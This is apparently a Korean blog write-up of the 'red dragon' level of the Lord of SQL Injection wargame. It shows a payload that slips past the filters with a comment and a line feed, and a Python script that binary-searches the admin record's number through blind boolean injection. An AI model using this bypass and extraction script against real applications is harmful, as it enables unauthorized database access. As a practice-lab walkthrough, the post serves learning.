ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> red dragon
    Wargame/Lord of SQL Injection 2021. 11. 28. 15:07

    red dragon

    GET 방식으로 전달받은 id에서 prob, _, .을 필터링한다.

    그리고 전달받은 id의 길이가 7보다 크면 "too long string" 메시지를 출력한다.

     

    전달받은 no가 숫자로만 이루어졌다면 전달받은 그대로 $no가 되고,

    숫자가 아닌 다른 문자가 있다면 $no는 1이 된다.

     

    select no from prob_red_dragon where id='admin' 을 수행한 결과의 no 값과

    전달받은 no의 값과 타입이 모두 같으면 문제가 풀리게 된다.

     

    ?id=admin'%23을 입력하면

    "Hello admin"을 출력한다.

     

    참인지 거짓인지 구분하기 위해서 no에는 숫자만 입력해야 한다.

    #(한줄 주석)을 사용해서 and no를 주석처리 하고 %0a(line feed)로 줄 바꿈을 하면

    select id from prob_red_dragon where id=''||no>#

    1

    즉, ?id='||no>%23&no=%0a1을 입력하면

    "Hello admin"이 출력된다.

     

    no의 대략적인 범위를 구해보면

    500000000<no<600000000의 범위를 가지는 것을 알 수 있다.

     

    파이썬 코드를 이용해  no를 찾아보면

    import requests
    
    baseurl = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
    cookies = {"PHPSESSID" : "PHPSESSID"}
    want_str = "<h2>Hello admin</h2>"
    start = 500000000
    end = 600000000
    
    while (start < end):
        mid = (start + end) // 2
        url = baseurl + "?id='||no>%23&no=%0a{}".format(mid)
        print(url)
        res = requests.get(url=url, cookies=cookies)
    
        if want_str in res.text:
            start = mid + 1
        else:
            end = mid
    print("no : ", start)

    ?id='admin'&no=586482014를 입력하면

    문제를 해결할 수 있다.

Designed by Tistory.